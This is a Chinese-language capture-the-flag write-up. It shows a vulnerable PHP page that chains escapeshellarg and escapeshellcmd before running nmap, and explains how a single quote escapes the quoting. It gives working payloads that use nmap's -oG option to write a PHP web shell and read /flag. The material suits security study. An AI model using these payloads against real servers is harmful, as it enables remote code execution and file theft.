<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); //escapeshellarg //1,確保用戶值傳遞一個參數給命令 //2,用戶不能指定更多的參數 //3,用戶不能執行不同的命令 $host = escapeshellcmd($host); //escapeshellcmd //1,確保用戶只執行一個命令 //2,用戶可以指定不限數量的參數 //3,用戶不能執行不同的命令 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
進入環境之后是一段PHP代碼
可以看到我們GET方法傳遞參數值給變量host,通過了兩個函數過濾之后,使用system系統命令執行nmap
所以我們需要構造能夠得到flag的host語句。
escapeshellarg 和 escapeshellcmd 兩個函數在代碼的注釋里面已經解釋了其用法。
也就是說在host變量里面我們不能使用 ; & | 等符號來執行多條命令,不過題目里面提示了我們RCE,同時對於這兩個函數簡單查找了之后,發現兩個一起使用的時候存在漏洞
漏洞解釋鏈接如下:
簡單來說
傳入的參數是:172.17.0.2' -v -d a=1 經過escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。 經過escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最后那個不配對兒的引號進行了轉義:http://php.net/manual/zh/function.escapeshellcmd.php 最后執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由於中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發起請求,POST 數據為a=1'。
所以經過我們構造之后,輸入的值被分割成為了三部分,第一部分就是curl的IP,為172.17.0.2\ ,第二部分就是兩個配對的單引號 ' ' ,第三部分就是命令參數以及對象 -v -d a=1'
於是我們可以參數繞過這兩個過濾函數。
同時,為了構造命令讀取flag,我們應當從nmap入手,查資料可以知道,nmap有一個參數-oG可以實現將命令和結果寫到文件
所以我們可以控制自己的輸入寫入文件,這里我們可以寫入一句話木馬鏈接,也可以直接命令 cat flag
構造的payload為:
?host=' <?php echo phpinfo();?> -oG test.php '
這里查看phpinfo()
進一步查看flag,因為單引號被過濾了,我們使用反引號cat /flag
?host=' <?php echo `cat /flag`;?> -oG test.php '
讀取訪問即可
得到flag
參考鏈接:
https://althims.com/2019/07/25/buu-online-tool-wp/
https://blog.csdn.net/qq_26406447/article/details/100711933
https://blog.csdn.net/weixin_44077544/article/details/102835099